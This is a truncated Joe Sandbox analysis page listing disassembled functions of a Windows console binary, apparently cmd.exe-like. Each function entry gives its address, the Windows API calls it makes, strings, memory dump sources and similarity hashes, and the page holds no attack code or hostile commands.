                                                    Function 00007FF6BF3E34A0 Relevance: 9.1, APIs: 6, Instructions: 84COMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00007FF6BF3E3578: _get_osfhandle.MSVCRT ref: 00007FF6BF3E3584
                                                      • Part of subcall function 00007FF6BF3E3578: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000014,00007FF6BF3D32E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF6BF3E359C
                                                      • Part of subcall function 00007FF6BF3E3578: GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000014,00007FF6BF3D32E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF6BF3E35C3
                                                      • Part of subcall function 00007FF6BF3E3578: AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF6BF3D32E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF6BF3E35D9
                                                      • Part of subcall function 00007FF6BF3E3578: GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00000014,00007FF6BF3D32E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF6BF3E35ED
                                                      • Part of subcall function 00007FF6BF3E3578: ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF6BF3D32E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF6BF3E3602
                                                    • AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,00000000,00007FF6BF3E3491,?,?,?,00007FF6BF3F4420), ref: 00007FF6BF3E3514
                                                    • _get_osfhandle.MSVCRT ref: 00007FF6BF3E3522
                                                    • WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,00000000,00007FF6BF3E3491,?,?,?,00007FF6BF3F4420), ref: 00007FF6BF3E3541
                                                    • ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,00000000,00007FF6BF3E3491,?,?,?,00007FF6BF3F4420), ref: 00007FF6BF3E355E
                                                      • Part of subcall function 00007FF6BF3E36EC: _get_osfhandle.MSVCRT ref: 00007FF6BF3E3715
                                                      • Part of subcall function 00007FF6BF3E36EC: WideCharToMultiByte.API-MS-WIN-CORE-STRING-L1-1-0 ref: 00007FF6BF3E3770
                                                      • Part of subcall function 00007FF6BF3E36EC: WriteFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF6BF3E3791
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: LockShared$_get_osfhandle$AcquireConsoleFileReleaseWrite$ByteCharHandleModeMultiTypeWide
                                                    • String ID:
                                                    • API String ID: 4057327938-0
                                                    • Opcode ID: 88fe3d8dcb1b39454ed35e4d5bc75a190f5634e19a67efeee45e7c5e6c767e8c
                                                    • Instruction ID: 77a915b426d64220ca565819d9eded5416be6a2873dd408a7d2ba245f8c3e7c3
                                                    • Opcode Fuzzy Hash: 88fe3d8dcb1b39454ed35e4d5bc75a190f5634e19a67efeee45e7c5e6c767e8c
                                                    • Instruction Fuzzy Hash: CA316F31E18A42C6E7509BAD940007DBBA0FF89B40F454135DF0ECA7B6DE3CE8548750
                                                    Function 00007FF6BF3F711C Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 175COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • OpenSemaphoreW.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF6BF3F71F9
                                                    • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF6BF3F720D
                                                    • OpenSemaphoreW.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF6BF3F7300
                                                      • Part of subcall function 00007FF6BF3F5740: CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0(?,?,?,?,00007FF6BF3F75C4,?,?,00000000,00007FF6BF3F6999,?,?,?,?,?,00007FF6BF3E8C39), ref: 00007FF6BF3F5744
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: OpenSemaphore$CloseErrorHandleLast
                                                    • String ID: _p0$wil
                                                    • API String ID: 455305043-1814513734
                                                    • Opcode ID: 39a27b84dfd8631c9037e55d178cc10ed73d1848b9dee361412bcbd5f2f98ace
                                                    • Instruction ID: 3c21e8020fec7af8c4d1fd72f579ba0d64b86ac8c1492720b7116adbfa0e8303
                                                    • Opcode Fuzzy Hash: 39a27b84dfd8631c9037e55d178cc10ed73d1848b9dee361412bcbd5f2f98ace
                                                    • Instruction Fuzzy Hash: 7461C562B1864296EFA5CFAD94141BD63A1FF88B80F544432DB0ECB7A5EF3CE5058780
                                                    Function 00007FF6BF3F992C Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 121registryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF6BF3F9A10
                                                    • RegEnumKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF6BF3F9994
                                                      • Part of subcall function 00007FF6BF3FA73C: RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF6BF3F9A82), ref: 00007FF6BF3FA77A
                                                      • Part of subcall function 00007FF6BF3FA73C: SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF6BF3F9A82), ref: 00007FF6BF3FA839
                                                      • Part of subcall function 00007FF6BF3FA73C: RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF6BF3F9A82), ref: 00007FF6BF3FA850
                                                    • wcsrchr.MSVCRT ref: 00007FF6BF3F9A62
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: ErrorLast$CloseEnumOpenwcsrchr
                                                    • String ID: %s=%s$.
                                                    • API String ID: 3242694432-4275322459
                                                    • Opcode ID: f0a6781f902405e6d501dc5d40a6bf5070585413eea37f1d1ba285c718ededde
                                                    • Instruction ID: 4b7ccecf1c113920a5521eadb1707b0d0c4f6987472b85f5f09efa05e8b6a44c
                                                    • Opcode Fuzzy Hash: f0a6781f902405e6d501dc5d40a6bf5070585413eea37f1d1ba285c718ededde
                                                    • Instruction Fuzzy Hash: EF41B621A0E74285FE509BA9A4702BA63A0FF45790F444134DF5D8F7F6EE7CE4558380
                                                    Function 00007FF6BF3F54B0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 120synchronizationCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetCurrentProcessId.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF6BF3F54E6
                                                    • CreateMutexExW.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF6BF3F552E
                                                      • Part of subcall function 00007FF6BF3F758C: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,00000000,00007FF6BF3F6999,?,?,?,?,?,00007FF6BF3E8C39), ref: 00007FF6BF3F75AE
                                                      • Part of subcall function 00007FF6BF3F758C: SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,00000000,00007FF6BF3F6999,?,?,?,?,?,00007FF6BF3E8C39), ref: 00007FF6BF3F75C6
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: ErrorLast$CreateCurrentMutexProcess
                                                    • String ID: Local\SM0:%d:%d:%hs$wil$x
                                                    • API String ID: 779401067-630742106
                                                    • Opcode ID: 455202d7a479b8eb008443c79237f92c22bbe4b1cb8e523106a0b0b2338ac627
                                                    • Instruction ID: 37ca589a371df8238c922653a31d6cc597a2917d79910dcc5362d9e5b203fad9
                                                    • Opcode Fuzzy Hash: 455202d7a479b8eb008443c79237f92c22bbe4b1cb8e523106a0b0b2338ac627
                                                    • Instruction Fuzzy Hash: FA51A772A1868282EB91DBA9E4007FA6760EF94784F506032EB4ECFA75DE7CD445C780
                                                    Function 00007FF6BF3D58D4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38registryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: CloseOpenQueryValue
                                                    • String ID: Software\Microsoft\Windows NT\CurrentVersion$UBR
                                                    • API String ID: 3677997916-3870813718
                                                    • Opcode ID: e374f3dcbd9129e05b114749def04da8ffc7e52e41f89dc762ae3dbe31e9aca9
                                                    • Instruction ID: d20afef1353a07342f6d2eb7634691bd6e6163649e48664003cc8ba6abe78c68
                                                    • Opcode Fuzzy Hash: e374f3dcbd9129e05b114749def04da8ffc7e52e41f89dc762ae3dbe31e9aca9
                                                    • Instruction Fuzzy Hash: F2117036618B41C7EB108FA8E44026ABBA0FB99765F405231DB8D47B78DF7CC048CB04
                                                    Function 00007FF6BF3DB49C Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 106COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • _wcsicmp.MSVCRT ref: 00007FF6BF3DB4BD
                                                      • Part of subcall function 00007FF6BF3E06C0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF6BF3DB4DB), ref: 00007FF6BF3E06D6
                                                      • Part of subcall function 00007FF6BF3E06C0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF6BF3DB4DB), ref: 00007FF6BF3E06F0
                                                      • Part of subcall function 00007FF6BF3E06C0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF6BF3DB4DB), ref: 00007FF6BF3E074D
                                                      • Part of subcall function 00007FF6BF3E06C0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF6BF3DB4DB), ref: 00007FF6BF3E0762
                                                    • _wcsicmp.MSVCRT ref: 00007FF6BF3DB518
                                                    • _wcsicmp.MSVCRT ref: 00007FF6BF3DB58B
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: Heap$_wcsicmp$AllocProcess
                                                    • String ID: ELSE$IF/?
                                                    • API String ID: 3223794493-1134991328
                                                    • Opcode ID: 423616b0ad94ea500b20ba8b377132b2965d659a86947a17f8aec48fbfe776c9
                                                    • Instruction ID: 861b550c4de4a8dbf77d2fd1678629365ad6cfe9df1ea70b0a381a89afca3af0
                                                    • Opcode Fuzzy Hash: 423616b0ad94ea500b20ba8b377132b2965d659a86947a17f8aec48fbfe776c9
                                                    • Instruction Fuzzy Hash: 15413625E5964382FA54ABECA4152BD27A2EF54784F485439DB4ECB3B7DF3CE8008790
                                                    Function 00007FF6BF3FA73C Relevance: 7.6, APIs: 5, Instructions: 84registryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF6BF3F9A82), ref: 00007FF6BF3FA77A
                                                    • RegQueryValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF6BF3F9A82), ref: 00007FF6BF3FA7AF
                                                    • RegQueryValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF6BF3F9A82), ref: 00007FF6BF3FA80E
                                                    • SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF6BF3F9A82), ref: 00007FF6BF3FA839
                                                    • RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF6BF3F9A82), ref: 00007FF6BF3FA850
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: QueryValue$CloseErrorLastOpen
                                                    • String ID:
                                                    • API String ID: 2240656346-0
                                                    • Opcode ID: 259df60cb868630656fe61ae38790f52a7232b22d9cc8ec1dbee3975f468035b
                                                    • Instruction ID: c669ee8a230449f3f0f949b2e4eed42c560a5f0fd0b6d9aad9b0203e80537ebc
                                                    • Opcode Fuzzy Hash: 259df60cb868630656fe61ae38790f52a7232b22d9cc8ec1dbee3975f468035b
                                                    • Instruction Fuzzy Hash: 2C317036A28B8186EB508FA9E44057EBBA4FF88790F544134EB4E87774DF3CD8558B40
                                                    Function 00007FF6BF3FD0C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00007FF6BF3E01B8: _get_osfhandle.MSVCRT ref: 00007FF6BF3E01C4
                                                      • Part of subcall function 00007FF6BF3E01B8: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,00007FF6BF3EE904,?,?,?,?,00000000,00007FF6BF3E3491,?,?,?,00007FF6BF3F4420), ref: 00007FF6BF3E01D6
                                                    • GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF6BF3FD0F9
                                                    • GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0 ref: 00007FF6BF3FD10F
                                                    • ScrollConsoleScreenBufferW.API-MS-WIN-CORE-CONSOLE-L2-1-0 ref: 00007FF6BF3FD166
                                                    • GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF6BF3FD17A
                                                    • SetConsoleCursorPosition.API-MS-WIN-CORE-CONSOLE-L2-1-0 ref: 00007FF6BF3FD18C
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: Console$BufferHandleScreen$CursorFileInfoPositionScrollType_get_osfhandle
                                                    • String ID:
                                                    • API String ID: 3008996577-0
                                                    • Opcode ID: cebe966d7df5a2bd0607568b5e1b41817dd61a68bafb8258f014fa92f4b8adc0
                                                    • Instruction ID: f3122f9f21315a330ad1919caa6bbfd37bbfe0fa66d7839908de00ffb3bffa51
                                                    • Opcode Fuzzy Hash: cebe966d7df5a2bd0607568b5e1b41817dd61a68bafb8258f014fa92f4b8adc0
                                                    • Instruction Fuzzy Hash: 71214B36B246418AF7009BB5E4000BD7BB0FB5DB48B445125DF0E97BA9DF38D055CB54
                                                    Function 00007FF6BF3F5770 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 169COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: CreateSemaphore
                                                    • String ID: _p0$wil
                                                    • API String ID: 1078844751-1814513734
                                                    • Opcode ID: f755fc07889d6bdabc5bc906762bcb13605c747dc28133a8421b38486d33263f
                                                    • Instruction ID: dfb1b6594fbe6523969cd3ff2c8fe975dc1f89644b517c01d849f6a5d52ea095
                                                    • Opcode Fuzzy Hash: f755fc07889d6bdabc5bc906762bcb13605c747dc28133a8421b38486d33263f
                                                    • Instruction Fuzzy Hash: 24511762B2974286EEE58FAC84546BE7390EF94B90F945435DB0D8FBA1DF3CE4058380
                                                    Function 00007FF6BF3FFB54 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 112COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: memset$DiskFreeSpace
                                                    • String ID: %5lu
                                                    • API String ID: 2448137811-2100233843
                                                    • Opcode ID: a32004ad0b0cd9a1642accdea686924f5f32727604a55ba99b3828265f09f6cb
                                                    • Instruction ID: 211a3c2c11d61bee41ef6cc9007ddb7ba5aee203645d1218b5325a3f5a80e8cf
                                                    • Opcode Fuzzy Hash: a32004ad0b0cd9a1642accdea686924f5f32727604a55ba99b3828265f09f6cb
                                                    • Instruction Fuzzy Hash: 5D419E36608AC185EB61DFA9E8406EA7360FB84788F448032EE4D8BB69DF7CD549C740
                                                    Function 00007FF6BF3FB89C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104memoryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • RtlCreateUnicodeStringFromAsciiz.NTDLL ref: 00007FF6BF3FB934
                                                    • GlobalAlloc.API-MS-WIN-CORE-HEAP-L2-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,00007FF6BF3E5085), ref: 00007FF6BF3FB9A5
                                                    • GlobalFree.API-MS-WIN-CORE-HEAP-L2-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,00007FF6BF3E5085), ref: 00007FF6BF3FB9F7
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: Global$AllocAsciizCreateFreeFromStringUnicode
                                                    • String ID: %WINDOWS_COPYRIGHT%
                                                    • API String ID: 1103618819-1745581171
                                                    • Opcode ID: 16d2b5de7a39f60598d54afa282db4830b4e4e1db5eb0a36e09c541776fa7494
                                                    • Instruction ID: 4c40aff60525e5a8cb23554af681e1b1593b87a18ddd239b4a2d606abcb094bc
                                                    • Opcode Fuzzy Hash: 16d2b5de7a39f60598d54afa282db4830b4e4e1db5eb0a36e09c541776fa7494
                                                    • Instruction Fuzzy Hash: C041A1A2A08783C2EB509F69941027977A0FF69B90F859235DF8D873A5EF7CE485C740
                                                    Function 00007FF6BF400774 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 86COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
